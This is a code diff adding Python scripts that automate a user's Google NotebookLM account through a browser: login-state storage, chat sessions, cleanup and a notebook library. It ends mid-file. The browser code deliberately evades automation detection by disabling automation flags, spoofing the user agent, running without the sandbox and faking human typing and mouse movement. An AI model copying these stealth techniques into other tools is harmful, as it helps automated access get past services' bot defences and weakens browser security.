json.dump(info, f, indent=2) + except Exception: + pass # Non-critical + + def clear_auth(self) -> bool: + """ + Clear all authentication data + + Returns: + True if cleared successfully + """ + print("🗑️ Clearing authentication data...") + + try: + # Remove browser state + if self.state_file.exists(): + self.state_file.unlink() + print(" ✅ Removed browser state") + + # Remove auth info + if self.auth_info_file.exists(): + self.auth_info_file.unlink() + print(" ✅ Removed auth info") + + # Clear entire browser state directory + if self.browser_state_dir.exists(): + shutil.rmtree(self.browser_state_dir) + self.browser_state_dir.mkdir(parents=True, exist_ok=True) + print(" ✅ Cleared browser data") + + return True + + except Exception as e: + print(f" ❌ Error clearing auth: {e}") + return False + + def re_auth(self, headless: bool = False, timeout_minutes: int = 10) -> bool: + """ + Perform re-authentication (clear and setup) + + Args: + headless: Run browser in headless mode + timeout_minutes: Login timeout in minutes + + Returns: + True if successful + """ + print("🔄 Starting re-authentication...") + + # Clear existing auth + self.clear_auth() + + # Setup new auth + return self.setup_auth(headless, timeout_minutes) + + def validate_auth(self) -> bool: + """ + Validate that stored authentication works + Uses persistent context to match actual usage pattern + + Returns: + True if authentication is valid + """ + if not self.is_authenticated(): + return False + + print("🔍 Validating authentication...") + + playwright = None + context = None + + try: + playwright = sync_playwright().start() + + # Launch using factory + context = BrowserFactory.launch_persistent_context( + playwright, + headless=True + ) + + # Try to access NotebookLM + page = context.new_page() + page.goto("https://notebooklm.google.com", wait_until="domcontentloaded", timeout=30000) + + # Check if we can access NotebookLM + if "notebooklm.google.com" in page.url and "accounts.google.com" not in page.url: + print(" ✅ Authentication is valid") + return True + else: + print(" ❌ Authentication is invalid (redirected to login)") + return False + + except Exception as e: + print(f" ❌ Validation failed: {e}") + return False + + finally: + if context: + try: + context.close() + except Exception: + pass + if playwright: + try: + playwright.stop() + except Exception: + pass + + +def main(): + """Command-line interface for authentication management""" + parser = argparse.ArgumentParser(description='Manage NotebookLM authentication') + + subparsers = parser.add_subparsers(dest='command', help='Commands') + + # Setup command + setup_parser = subparsers.add_parser('setup', help='Setup authentication') + setup_parser.add_argument('--headless', action='store_true', help='Run in headless mode') + setup_parser.add_argument('--timeout', type=float, default=10, help='Login timeout in minutes (default: 10)') + + # Status command + subparsers.add_parser('status', help='Check authentication status') + + # Validate command + subparsers.add_parser('validate', help='Validate authentication') + + # Clear command + subparsers.add_parser('clear', help='Clear authentication') + + # Re-auth command + reauth_parser = subparsers.add_parser('reauth', help='Re-authenticate (clear + setup)') + reauth_parser.add_argument('--timeout', type=float, default=10, help='Login timeout in minutes (default: 10)') + + args = parser.parse_args() + + # Initialize manager + auth = AuthManager() + + # Execute command + if args.command == 'setup': + if auth.setup_auth(headless=args.headless, timeout_minutes=args.timeout): + print("\n✅ Authentication setup complete!") + print("You can now use ask_question.py to query NotebookLM") + else: + print("\n❌ Authentication setup failed") + exit(1) + + elif args.command == 'status': + info = auth.get_auth_info() + print("\n🔐 Authentication Status:") + print(f" Authenticated: {'Yes' if info['authenticated'] else 'No'}") + if info.get('state_age_hours'): + print(f" State age: {info['state_age_hours']:.1f} hours") + if info.get('authenticated_at_iso'): + print(f" Last auth: {info['authenticated_at_iso']}") + print(f" State file: {info['state_file']}") + + elif args.command == 'validate': + if auth.validate_auth(): + print("Authentication is valid and working") + else: + print("Authentication is invalid or expired") + print("Run: auth_manager.py setup") + + elif args.command == 'clear': + if auth.clear_auth(): + print("Authentication cleared") + + elif args.command == 'reauth': + if auth.re_auth(timeout_minutes=args.timeout): + print("\n✅ Re-authentication complete!") + else: + print("\n❌ Re-authentication failed") + exit(1) + + else: + parser.print_help() + + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/skills/notebooklm/scripts/browser_session.py b/skills/notebooklm/scripts/browser_session.py new file mode 100755 index 00000000..b121af83 --- /dev/null +++ b/skills/notebooklm/scripts/browser_session.py @@ -0,0 +1,255 @@ +#!/usr/bin/env python3 +""" +Browser Session Management for NotebookLM +Individual browser session for persistent NotebookLM conversations +Based on the original NotebookLM API implementation +""" + +import time +import sys +from typing import Any, Dict, Optional +from pathlib import Path + +from patchright.sync_api import BrowserContext, Page + +# Add parent directory to path +sys.path.insert(0, str(Path(__file__).parent)) + +from browser_utils import StealthUtils + + +class BrowserSession: + """ + Represents a single persistent browser session for NotebookLM + + Each session gets its own Page (tab) within a shared BrowserContext, + allowing for contextual conversations where NotebookLM remembers + previous messages. + """ + + def __init__(self, session_id: str, context: BrowserContext, notebook_url: str): + """ + Initialize a new browser session + + Args: + session_id: Unique identifier for this session + context: Browser context (shared or dedicated) + notebook_url: Target NotebookLM URL for this session + """ + self.id = session_id + self.created_at = time.time() + self.last_activity = time.time() + self.message_count = 0 + self.notebook_url = notebook_url + self.context = context + self.page = None + self.stealth = StealthUtils() + + # Initialize the session + self._initialize() + + def _initialize(self): + """Initialize the browser session and navigate to NotebookLM""" + print(f"🚀 Creating session {self.id}...") + + # Create new page (tab) in context + self.page = self.context.new_page() + print(f" 🌐 Navigating to NotebookLM...") + + try: + # Navigate to notebook + self.page.goto(self.notebook_url, wait_until="domcontentloaded", timeout=30000) + + # Check if login is needed + if "accounts.google.com" in self.page.url: + raise RuntimeError("Authentication required. Please run auth_manager.py setup first.") + + # Wait for page to be ready + self._wait_for_ready() + + # Simulate human inspection + self.stealth.random_mouse_movement(self.page) + self.stealth.random_delay(300, 600) + + print(f"✅ Session {self.id} ready!") + + except Exception as e: + print(f"❌ Failed to initialize session: {e}") + if self.page: + self.page.close() + raise + + def _wait_for_ready(self): + """Wait for NotebookLM page to be ready""" + try: + # Wait for chat input + self.page.wait_for_selector("textarea.query-box-input", timeout=10000, state="visible") + except Exception: + # Try alternative selector + self.page.wait_for_selector('textarea[aria-label="Feld für Anfragen"]', timeout=5000, state="visible") + + def ask(self, question: str) -> Dict[str, Any]: + """ + Ask a question in this session + + Args: + question: The question to ask + + Returns: + Dict with status, question, answer, session_id + """ + try: + self.last_activity = time.time() + self.message_count += 1 + + print(f"💬 [{self.id}] Asking: {question}") + + # Snapshot current answer to detect new response + previous_answer = self._snapshot_latest_response() + + # Find chat input + chat_input_selector = "textarea.query-box-input" + try: + self.page.wait_for_selector(chat_input_selector, timeout=5000, state="visible") + except Exception: + chat_input_selector = 'textarea[aria-label="Feld für Anfragen"]' + self.page.wait_for_selector(chat_input_selector, timeout=5000, state="visible") + + # Click and type with human-like behavior + self.stealth.realistic_click(self.page, chat_input_selector) + self.stealth.human_type(self.page, chat_input_selector, question) + + # Small pause before submit + self.stealth.random_delay(300, 800) + + # Submit + self.page.keyboard.press("Enter") + + # Wait for response + print(" ⏳ Waiting for response...") + self.stealth.random_delay(1500, 3000) + + # Get new answer + answer = self._wait_for_latest_answer(previous_answer) + + if not answer: + raise Exception("Empty response from NotebookLM") + + print(f" ✅ Got response ({len(answer)} chars)") + + return { + "status": "success", + "question": question, + "answer": answer, + "session_id": self.id, + "notebook_url": self.notebook_url + } + + except Exception as e: + print(f" ❌ Error: {e}") + return { + "status": "error", + "question": question, + "error": str(e), + "session_id": self.id + } + + def _snapshot_latest_response(self) -> Optional[str]: + """Get the current latest response text""" + try: + # Use correct NotebookLM selector + responses = self.page.query_selector_all(".to-user-container .message-text-content") + if responses: + return responses[-1].inner_text() + except Exception: + pass + return None + + def _wait_for_latest_answer(self, previous_answer: Optional[str], timeout: int = 120) -> str: + """Wait for and extract the new answer""" + start_time = time.time() + last_candidate = None + stable_count = 0 + + while time.time() - start_time < timeout: + # Check if NotebookLM is still thinking (most reliable indicator) + try: + thinking_element = self.page.query_selector('div.thinking-message') + if thinking_element and thinking_element.is_visible(): + time.sleep(0.5) + continue + except Exception: + pass + + try: + # Use correct NotebookLM selector + responses = self.page.query_selector_all(".to-user-container .message-text-content") + + if responses: + latest_text = responses[-1].inner_text().strip() + + # Check if it's a new response + if latest_text and latest_text != previous_answer: + # Check if text is stable (3 consecutive polls) + if latest_text == last_candidate: + stable_count += 1 + if stable_count >= 3: + return latest_text + else: + stable_count = 1 + last_candidate = latest_text + + except Exception: + pass + + time.sleep(0.5) + + raise TimeoutError(f"No response received within {timeout} seconds") + + def reset(self): + """Reset the chat by reloading the page""" + print(f"🔄 Resetting session {self.id}...") + + self.page.reload(wait_until="domcontentloaded") + self._wait_for_ready() + + previous_count = self.message_count + self.message_count = 0 + self.last_activity = time.time() + + print(f"✅ Session reset (cleared {previous_count} messages)") + return previous_count + + def close(self): + """Close this session and clean up resources""" + print(f"🛑 Closing session {self.id}...") + + if self.page: + try: + self.page.close() + except Exception as e: + print(f" ⚠️ Error closing page: {e}") + + print(f"✅ Session {self.id} closed") + + def get_info(self) -> Dict[str, Any]: + """Get information about this session""" + return { + "id": self.id, + "created_at": self.created_at, + "last_activity": self.last_activity, + "age_seconds": time.time() - self.created_at, + "inactive_seconds": time.time() - self.last_activity, + "message_count": self.message_count, + "notebook_url": self.notebook_url + } + + def is_expired(self, timeout_seconds: int = 900) -> bool: + """Check if session has expired (default: 15 minutes)""" + return (time.time() - self.last_activity) > timeout_seconds + + +if __name__ == "__main__": + # Example usage + print("Browser Session Module - Use ask_question.py for main interface") + print("This module provides low-level browser session management.") \ No newline at end of file diff --git a/skills/notebooklm/scripts/browser_utils.py b/skills/notebooklm/scripts/browser_utils.py new file mode 100755 index 00000000..60a12108 --- /dev/null +++ b/skills/notebooklm/scripts/browser_utils.py @@ -0,0 +1,107 @@ +""" +Browser Utilities for NotebookLM Skill +Handles browser launching, stealth features, and common interactions +""" + +import json +import time +import random +from typing import Optional, List + +from patchright.sync_api import Playwright, BrowserContext, Page +from config import BROWSER_PROFILE_DIR, STATE_FILE, BROWSER_ARGS, USER_AGENT + + +class BrowserFactory: + """Factory for creating configured browser contexts""" + + @staticmethod + def launch_persistent_context( + playwright: Playwright, + headless: bool = True, + user_data_dir: str = str(BROWSER_PROFILE_DIR) + ) -> BrowserContext: + """ + Launch a persistent browser context with anti-detection features + and cookie workaround. + """ + # Launch persistent context + context = playwright.chromium.launch_persistent_context( + user_data_dir=user_data_dir, + channel="chrome", # Use real Chrome + headless=headless, + no_viewport=True, + ignore_default_args=["--enable-automation"], + user_agent=USER_AGENT, + args=BROWSER_ARGS + ) + + # Cookie Workaround for Playwright bug #36139 + # Session cookies (expires=-1) don't persist in user_data_dir automatically + BrowserFactory._inject_cookies(context) + + return context + + @staticmethod + def _inject_cookies(context: BrowserContext): + """Inject cookies from state.json if available""" + if STATE_FILE.exists(): + try: + with open(STATE_FILE, 'r') as f: + state = json.load(f) + if 'cookies' in state and len(state['cookies']) > 0: + context.add_cookies(state['cookies']) + # print(f" 🔧 Injected {len(state['cookies'])} cookies from state.json") + except Exception as e: + print(f" ⚠️ Could not load state.json: {e}") + + +class StealthUtils: + """Human-like interaction utilities""" + + @staticmethod + def random_delay(min_ms: int = 100, max_ms: int = 500): + """Add random delay""" + time.sleep(random.uniform(min_ms / 1000, max_ms / 1000)) + + @staticmethod + def human_type(page: Page, selector: str, text: str, wpm_min: int = 320, wpm_max: int = 480): + """Type with human-like speed""" + element = page.query_selector(selector) + if not element: + # Try waiting if not immediately found + try: + element = page.wait_for_selector(selector, timeout=2000) + except: + pass + + if not element: + print(f"⚠️ Element not found for typing: {selector}") + return + + # Click to focus + element.click() + + # Type + for char in text: + element.type(char, delay=random.uniform(25, 75)) + if random.random() < 0.05: + time.sleep(random.uniform(0.15, 0.4)) + + @staticmethod + def realistic_click(page: Page, selector: str): + """Click with realistic movement""" + element = page.query_selector(selector) + if not element: + return + + # Optional: Move mouse to element (simplified) + box = element.bounding_box() + if box: + x = box['x'] + box['width'] / 2 + y = box['y'] + box['height'] / 2 + page.mouse.move(x, y, steps=5) + + StealthUtils.random_delay(100, 300) + element.click() + StealthUtils.random_delay(100, 300) diff --git a/skills/notebooklm/scripts/cleanup_manager.py b/skills/notebooklm/scripts/cleanup_manager.py new file mode 100755 index 00000000..c4a8fc2a --- /dev/null +++ b/skills/notebooklm/scripts/cleanup_manager.py @@ -0,0 +1,302 @@ +#!/usr/bin/env python3 +""" +Cleanup Manager for NotebookLM Skill +Manages cleanup of skill data and browser state +""" + +import shutil +import argparse +from pathlib import Path +from typing import Dict, List, Any + + +class CleanupManager: + """ + Manages cleanup of NotebookLM skill data + + Features: + - Preview what will be deleted + - Selective cleanup options + - Library preservation + - Safe deletion with confirmation + """ + + def __init__(self): + """Initialize the cleanup manager""" + # Skill directory paths + self.skill_dir = Path(__file__).parent.parent + self.data_dir = self.skill_dir / "data" + + def get_cleanup_paths(self, preserve_library: bool = False) -> Dict[str, Any]: + """ + Get paths that would be cleaned up + + Args: + preserve_library: Keep library.json if True + + Returns: + Dict with paths and sizes + + Note: .venv is NEVER deleted - it's part of the skill infrastructure + """ + paths = { + 'browser_state': [], + 'sessions': [], + 'library': [], + 'auth': [], + 'other': [] + } + + total_size = 0 + + if self.data_dir.exists(): + # Browser state + browser_state_dir = self.data_dir / "browser_state" + if browser_state_dir.exists(): + for item in browser_state_dir.iterdir(): + size = self._get_size(item) + paths['browser_state'].append({ + 'path': str(item), + 'size': size, + 'type': 'dir' if item.is_dir() else 'file' + }) + total_size += size + + # Sessions + sessions_file = self.data_dir / "sessions.json" + if sessions_file.exists(): + size = sessions_file.stat().st_size + paths['sessions'].append({ + 'path': str(sessions_file), + 'size': size, + 'type': 'file' + }) + total_size += size + + # Library (unless preserved) + if not preserve_library: + library_file = self.data_dir / "library.json" + if library_file.exists(): + size = library_file.stat().st_size + paths['library'].append({ + 'path': str(library_file), + 'size': size, + 'type': 'file' + }) + total_size += size + + # Auth info + auth_info = self.data_dir / "auth_info.json" + if auth_info.exists(): + size = auth_info.stat().st_size + paths['auth'].append({ + 'path': str(auth_info), + 'size': size, + 'type': 'file' + }) + total_size += size + + # Other files in data dir (but NEVER .venv!) + for item in self.data_dir.iterdir(): + if item.name not in ['browser_state', 'sessions.json', 'library.json', 'auth_info.json']: + size = self._get_size(item) + paths['other'].append({ + 'path': str(item), + 'size': size, + 'type': 'dir' if item.is_dir() else 'file' + }) + total_size += size + + return { + 'categories': paths, + 'total_size': total_size, + 'total_items': sum(len(items) for items in paths.values()) + } + + def _get_size(self, path: Path) -> int: + """Get size of file or directory in bytes""" + if path.is_file(): + return path.stat().st_size + elif path.is_dir(): + total = 0 + try: + for item in path.rglob('*'): + if item.is_file(): + total += item.stat().st_size + except Exception: + pass + return total + return 0 + + def _format_size(self, size: int) -> str: + """Format size in human-readable form""" + for unit in ['B', 'KB', 'MB', 'GB']: + if size < 1024: + return f"{size:.1f} {unit}" + size /= 1024 + return f"{size:.1f} TB" + + def perform_cleanup( + self, + preserve_library: bool = False, + dry_run: bool = False + ) -> Dict[str, Any]: + """ + Perform the actual cleanup + + Args: + preserve_library: Keep library.json if True + dry_run: Preview only, don't delete + + Returns: + Dict with cleanup results + """ + cleanup_data = self.get_cleanup_paths(preserve_library) + deleted_items = [] + failed_items = [] + deleted_size = 0 + + if dry_run: + return { + 'dry_run': True, + 'would_delete': cleanup_data['total_items'], + 'would_free': cleanup_data['total_size'] + } + + # Perform deletion + for category, items in cleanup_data['categories'].items(): + for item_info in items: + path = Path(item_info['path']) + try: + if path.exists(): + if path.is_dir(): + shutil.rmtree(path) + else: + path.unlink() + deleted_items.append(str(path)) + deleted_size += item_info['size'] + print(f" ✅ Deleted: {path.name}") + except Exception as e: + failed_items.append({ + 'path': str(path), + 'error': str(e) + }) + print(f" ❌ Failed: {path.name} ({e})") + + # Recreate browser_state dir if everything was deleted + if not preserve_library and not failed_items: + browser_state_dir = self.data_dir / "browser_state" + browser_state_dir.mkdir(parents=True, exist_ok=True) + + return { + 'deleted_items': deleted_items, + 'failed_items': failed_items, + 'deleted_size': deleted_size, + 'deleted_count': len(deleted_items), + 'failed_count': len(failed_items) + } + + def print_cleanup_preview(self, preserve_library: bool = False): + """Print a preview of what will be cleaned""" + data = self.get_cleanup_paths(preserve_library) + + print("\n🔍 Cleanup Preview") + print("=" * 60) + + for category, items in data['categories'].items(): + if items: + print(f"\n📁 {category.replace('_', ' ').title()}:") + for item in items: + path = Path(item['path']) + size_str = self._format_size(item['size']) + type_icon = "📂" if item['type'] == 'dir' else "📄" + print(f" {type_icon} {path.name:<30} {size_str:>10}") + + print("\n" + "=" * 60) + print(f"Total items: {data['total_items']}") + print(f"Total size: {self._format_size(data['total_size'])}") + + if preserve_library: + print("\n📚 Library will be preserved") + + print("\nThis preview shows what would be deleted.") + print("Use --confirm to actually perform the cleanup.") + + +def main(): + """Command-line interface for cleanup management""" + parser = argparse.ArgumentParser( + description='Clean up NotebookLM skill data', + formatter_class=argparse.RawDescriptionHelpFormatter, + epilog=""" +Examples: + # Preview what will be deleted + python cleanup_manager.py + + # Perform cleanup (delete everything) + python cleanup_manager.py --confirm + + # Cleanup but keep library + python cleanup_manager.py --confirm --preserve-library + + # Force cleanup without preview + python cleanup_manager.py --confirm --force + """ + ) + + parser.add_argument( + '--confirm', + action='store_true', + help='Actually perform the cleanup (without this, only preview)' + ) + + parser.add_argument( + '--preserve-library', + action='store_true', + help='Keep the notebook library (library.json)' + ) + + parser.add_argument( + '--force', + action='store_true', + help='Skip confirmation prompt' + ) + + args = parser.parse_args() + + # Initialize manager + manager = CleanupManager() + + if args.confirm: + # Show preview first unless forced + if not args.force: + manager.print_cleanup_preview(args.preserve_library) + + print("\n⚠️ WARNING: This will delete the files shown above!") + print(" Note: .venv is preserved (part of skill infrastructure)") + response = input("Are you sure? (yes/no): ") + + if response.lower() != 'yes': + print("Cleanup cancelled.") + return + + # Perform cleanup + print("\n🗑️ Performing cleanup...") + result = manager.perform_cleanup(args.preserve_library, dry_run=False) + + print(f"\n✅ Cleanup complete!") + print(f" Deleted: {result['deleted_count']} items") + print(f" Freed: {manager._format_size(result['deleted_size'])}") + + if result['failed_count'] > 0: + print(f" ⚠️ Failed: {result['failed_count']} items") + + else: + # Just show preview + manager.print_cleanup_preview(args.preserve_library) + print("\n💡 Note: Virtual environment (.venv) is never deleted") + print(" It's part of the skill infrastructure, not user data") + + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/skills/notebooklm/scripts/config.py b/skills/notebooklm/scripts/config.py new file mode 100755 index 00000000..4486b55e --- /dev/null +++ b/skills/notebooklm/scripts/config.py @@ -0,0 +1,44 @@ +""" +Configuration for NotebookLM Skill +Centralizes constants, selectors, and paths +""" + +from pathlib import Path + +# Paths +SKILL_DIR = Path(__file__).parent.parent +DATA_DIR = SKILL_DIR / "data" +BROWSER_STATE_DIR = DATA_DIR / "browser_state" +BROWSER_PROFILE_DIR = BROWSER_STATE_DIR / "browser_profile" +STATE_FILE = BROWSER_STATE_DIR / "state.json" +AUTH_INFO_FILE = DATA_DIR / "auth_info.json" +LIBRARY_FILE = DATA_DIR / "library.json" + +# NotebookLM Selectors +QUERY_INPUT_SELECTORS = [ + "textarea.query-box-input", # Primary + 'textarea[aria-label="Feld für Anfragen"]', # Fallback German + 'textarea[aria-label="Input for queries"]', # Fallback English +] + +RESPONSE_SELECTORS = [ + ".to-user-container .message-text-content", # Primary + "[data-message-author='bot']", + "[data-message-author='assistant']", +] + +# Browser Configuration +BROWSER_ARGS = [ + '--disable-blink-features=AutomationControlled', # Patches navigator.webdriver + '--disable-dev-shm-usage', + '--no-sandbox', + '--no-first-run', + '--no-default-browser-check' +] + +USER_AGENT = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' + +# Timeouts +LOGIN_TIMEOUT_MINUTES = 10 +QUERY_TIMEOUT_SECONDS = 120 +PAGE_LOAD_TIMEOUT = 30000 diff --git a/skills/notebooklm/scripts/notebook_manager.py b/skills/notebooklm/scripts/notebook_manager.py new file mode 100755 index 00000000..e10e156d --- /dev/null +++ b/skills/notebooklm/scripts/notebook_manager.py @@ -0,0 +1,410 @@ +#!/usr/bin/env python3 +""" +Notebook Library Management for NotebookLM +Manages a library of NotebookLM notebooks with metadata +Based on the MCP server implementation +""" + +import json +import argparse +import uuid +import os +from pathlib import Path +from typing import Dict, List, Optional, Any +from datetime import datetime + + +class NotebookLibrary: + """Manages a collection of NotebookLM notebooks with metadata""" + + def __init__(self): + """Initialize the notebook library""" + # Store data within the skill directory + skill_dir = Path(__file__).parent.parent + self.data_dir = skill_dir / "data" + self.data_dir.mkdir(parents=True, exist_ok=True) + + self.library_file = self.data_dir / "library.json" + self.notebooks: Dict[str, Dict[str, Any]] = {} + self.active_notebook_id: Optional[str] = None + + # Load existing library + self._load_library() + + def _load_library(self): + """Load library from disk""" + if self.library_file.exists(): + try: + with open(self.library_file, 'r') as f: + data = json.load(f) + self.notebooks = data.get('notebooks', {}) + self.active_notebook_id = data.get('active_notebook_id') + print(f"📚 Loaded library with {len(self.notebooks)} notebooks") + except Exception as e: + print(f"⚠️ Error loading library: {e}") + self.notebooks = {} + self.active_notebook_id = None + else: + self._save_library() + + def _save_library(self): + """Save library to disk""" + try: + data = { + 'notebooks': self.notebooks, + 'active_notebook_id': self.active_notebook_id, + 'updated_at': datetime.now().isoformat() + } + with open(self.library_file, 'w') as f: + json.dump(data, f, indent=2) + except Exception as e: + print(f"❌ Error saving library: {e}") + + def add_notebook( + self, + url: str, + name: str, + description: str, + topics: List[str], + content_types: Optional[List[str]] = None, + use_cases: Optional[List[str]] = None, + tags: Optional[List[str]] = None + ) -> Dict[str, Any]: + """ + Add a new notebook to the library + + Args: + url: NotebookLM notebook URL + name: Display name for the notebook + description: What's in this notebook + topics: Topics covered + content_types: Types of content (optional) + use_cases: When to use this notebook (optional) + tags: Additional tags for organization (optional) + + Returns: + The created notebook object + """ + # Generate ID from name + notebook_id = name.lower().replace(' ', '-').replace('_', '-') + + # Check for duplicates + if notebook_id in self.notebooks: + raise ValueError(f"Notebook with ID '{notebook_id}' already exists") + + # Create notebook object + notebook = { + 'id': notebook_id, + 'url': url, + 'name': name, + 'description': description, + 'topics': topics, + 'content_types': content_types or [], + 'use_cases': use_cases or [], + 'tags': tags or [], + 'created_at': datetime.now().isoformat(), + 'updated_at': datetime.now().isoformat(), + 'use_count': 0, + 'last_used': None + } + + # Add to library + self.notebooks[notebook_id] = notebook + + # Set as active if it's the first notebook + if len(self.notebooks) == 1: + self.active_notebook_id = notebook_id + + self._save_library() + + print(f"✅ Added notebook: {name} ({notebook_id})") + return notebook + + def remove_notebook(self, notebook_id: str) -> bool: + """ + Remove a notebook from the library + + Args: + notebook_id: ID of notebook to remove + + Returns: + True if removed, False if not found + """ + if notebook_id in self.notebooks: + del self.notebooks[notebook_id] + + # Clear active if it was removed + if self.active_notebook_id == notebook_id: + self.active_notebook_id = None + # Set new active if there are other notebooks + if self.notebooks: + self.active_notebook_id = list(self.notebooks.keys())[0] + + self._save_library() + print(f"✅ Removed notebook: {notebook_id}") + return True + + print(f"⚠️ Notebook not found: {notebook_id}") + return False + + def update_notebook( + self, + notebook_id: str, + name: Optional[str] = None, + description: Optional[str] = None, + topics: Optional[List[str]] = None, + content_types: Optional[List[str]] = None, + use_cases: Optional[List[str]] = None, + tags: Optional[List[str]] = None, + url: Optional[str] = None + ) -> Dict[str, Any]: + """ + Update notebook metadata + + Args: + notebook_id: ID of notebook to update + Other args: Fields to update (None = keep existing) + + Returns: + Updated notebook object + """ + if notebook_id not in self.notebooks: + raise ValueError(f"Notebook not found: {notebook_id}") + + notebook = self.notebooks[notebook_id] + + # Update fields if provided + if name is not None: + notebook['name'] = name + if description is not None: + notebook['description'] = description + if topics is not None: + notebook['topics'] = topics + if content_types is not None: + notebook['content_types'] = content_types + if use_cases is not None: + notebook['use_cases'] = use_cases + if tags is not None: + notebook['tags'] = tags + if url is not None: + notebook['url'] = url + + notebook['updated_at'] = datetime.now().isoformat() + + self._save_library() + print(f"✅ Updated notebook: {notebook['name']}") + return notebook + + def get_notebook(self, notebook_id: str) -> Optional[Dict[str, Any]]: + """Get a specific notebook by ID""" + return self.notebooks.get(notebook_id) + + def list_notebooks(self) -> List[Dict[str, Any]]: + """List all notebooks in the library""" + return list(self.notebooks.values()) + + def search_notebooks(self, query: str) -> List[Dict[str, Any]]: + """ + Search notebooks by query + + Args: + query: Search query (searches name, description, topics, tags) + + Returns: + List of matching notebooks + """ + query_lower = query.lower() + results = [] + + for notebook in self.notebooks.values(): + # Search in various fields + searchable = [ + notebook['name'].lower(), + notebook['description'].lower(), + ' '.join(notebook['topics']).lower(), + ' '.join(notebook['tags']).lower(), + ' '.join(notebook.get('use_cases', [])).lower() + ] + + if any(query_lower in field for field in searchable): + results.append(notebook) + + return results + + def select_notebook(self, notebook_id: str) -> Dict[str, Any]: + """ + Set a notebook as active + + Args: + notebook_id: ID of notebook to activate + + Returns: + The activated notebook + """ + if notebook_id not in self.notebooks: + raise ValueError(f"Notebook not found: {notebook_id}") + + self.active_notebook_id = notebook_id + self._save_library() + + notebook = self.notebooks[notebook_id] + print(f"✅ Activated notebook: {notebook['name']}") + return notebook + + def get_active_notebook(self) -> Optional[Dict[str, Any]]: + """Get the currently active notebook""" + if self.active_notebook_id: + return self.notebooks.get(self.active_notebook_id) + return None + + def increment_use_count(self, notebook_id: str) -> Dict[str, Any]: + """ + Increment usage counter for a notebook + + Args: + notebook_id: ID of notebook that was used + + Returns: + Updated notebook + """ + if notebook_id not in self.notebooks: + raise ValueError(f"Notebook not found: {notebook_id}") + + notebook = self.notebooks[notebook_id] + notebook['use_count'] += 1 + notebook['last_used'] = datetime.now().isoformat() + + self._save_library() + return notebook + + def get_stats(self) -> Dict[str, Any]: + """Get library statistics""" + total_notebooks = len(self.notebooks) + total_topics = set() + total_use_count = 0 + + for notebook in self.notebooks.values(): + total_topics.update(notebook['topics']) + total_use_count += notebook['use_count'] + + # Find most used + most_used = None + if self.notebooks: + most_used = max( + self.notebooks.values(), + key=lambda n: n['use_count'] + ) + + return { + 'total_notebooks': total_notebooks, + 'total_topics': len(total_topics), + 'total_use_count': total_use_count, + 'active_notebook': self.get_active_notebook(), + 'most_used_notebook': most_used, + 'library_path': str(self.library_file) + } + + +def main(): + """Command-line interface for notebook management""" + parser = argparse.ArgumentParser(description='Manage NotebookLM library') + + subparsers = parser.add_subparsers(dest='command', help='Commands') + + # Add command + add_parser = subparsers.add_parser('add', help='Add a notebook') + add_parser.add_argument('--url', required=True, help='NotebookLM URL') + add_parser.add_argument('--name', required=True, help='Display name') + add_parser.add_argument('--description', required=True, help='Description') + add_parser.add_argument('--topics', required=True, help='Comma-separated topics') + add_parser.add_argument('--use-cases', help='Comma-separated use cases') + add_parser.add_argument('--tags', help='Comma-separated tags') + + # List command + subparsers.add_parser('list', help='List all notebooks') + + # Search command + search_parser = subparsers.add_parser('search', help='Search notebooks') + search_parser.add_argument('--query', required=True, help='Search query') + + # Activate command + activate_parser = subparsers.add_parser('activate', help='Set active notebook') + activate_parser.add_argument('--id', required=True, help='Notebook ID') + + # Remove command + remove_parser = subparsers.add_parser('remove', help='Remove a notebook') + remove_parser.add_argument('--id', required=True, help='Notebook ID') + + # Stats command + subparsers.add_parser('stats', help='Show library statistics') + + args = parser.parse_args() + + # Initialize library + library = NotebookLibrary() + + # Execute command + if args.command == 'add': + topics = [t.strip() for t in args.topics.split(',')] + use_cases = [u.strip() for u in args.use_cases.split(',')] if args.use_cases else None + tags = [t.strip() for t in args.tags.split(',')] if args.tags else None + + notebook = library.add_notebook( + url=args.url, + name=args.name, + description=args.description, + topics=topics, + use_cases=use_cases, + tags=tags + ) + print(json.dumps(notebook, indent=2)) + + elif args.command == 'list': + notebooks = library.list_notebooks() + if notebooks: + print("\n📚 Notebook Library:") + for notebook in notebooks: + active = " [ACTIVE]" if notebook['id'] == library.active_notebook_id else "" + print(f"\n 📓 {notebook['name']}{active}") + print(f" ID: {notebook['id']}") + print(f" Topics: {', '.join(notebook['topics'])}") + print(f" Uses: {notebook['use_count']}") + else: + print("📚 Library is empty. Add notebooks with: notebook_manager.py add") + + elif args.command == 'search': + results = library.search_notebooks(args.query) + if results: + print(f"\n🔍 Found {len(results)} notebooks:") + for notebook in results: + print(f"\n 📓 {notebook['name']} ({notebook['id']})") + print(f" {notebook['description']}") + else: + print(f"🔍 No notebooks found for: {args.query}") + + elif args.command == 'activate': + notebook = library.select_notebook(args.id) + print(f"Now using: {notebook['name']}") + + elif args.command == 'remove': + if library.remove_notebook(args.id): + print("Notebook removed from library") + + elif args.command == 'stats': + stats = library.get_stats() + print("\n📊 Library Statistics:") + print(f" Total notebooks: {stats['total_notebooks']}") + print(f" Total topics: {stats['total_topics']}") + print(f" Total uses: {stats['total_use_count']}") + if stats['active_notebook']: + print(f" Active: {stats['active_notebook']['name']}") + if stats['most_used_notebook']: + print(f" Most used: {stats['most_used_notebook']['name']} ({stats['most_used_notebook']['use_count']} uses)") + print(f" Library path: {stats['library_path']}") + + else: + parser.print_help() + + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/skills/notebooklm/scripts/run.py b/skills/notebooklm/scripts/run.py new file mode 100755 index 00000000..7c47a92e --- /dev/null +++ b/skills/notebooklm/scripts/run.py @@ -0,0 +1,102 @@ +#!/usr/bin/env python3 +""" +Universal runner for NotebookLM skill scripts +Ensures all scripts run with the correct virtual environment +""" + +import os +import sys +import subprocess +from pathlib import Path + + +def get_venv_python(): + """Get the virtual environment Python executable""" + skill_dir = Path(__file__).parent.parent + venv_dir = skill_dir / ".venv" + + if os.name == 'nt': # Windows + venv_python = venv_dir / "Scripts" / "python.exe" + else: # Unix/Linux/Mac + venv_python = venv_dir / "bin" / "python" + + return venv_python + + +def ensure_venv(): + """Ensure virtual environment exists""" + skill_dir = Path(__file__).parent.parent + venv_dir = skill_dir / ".venv" + setup_script = skill_dir / "scripts" / "setup_environment.py" + + # Check if venv exists + if not venv_dir.exists(): + print("🔧 First-time setup: Creating virtual environment...") + print(" This may take a minute...") + + # Run setup with system 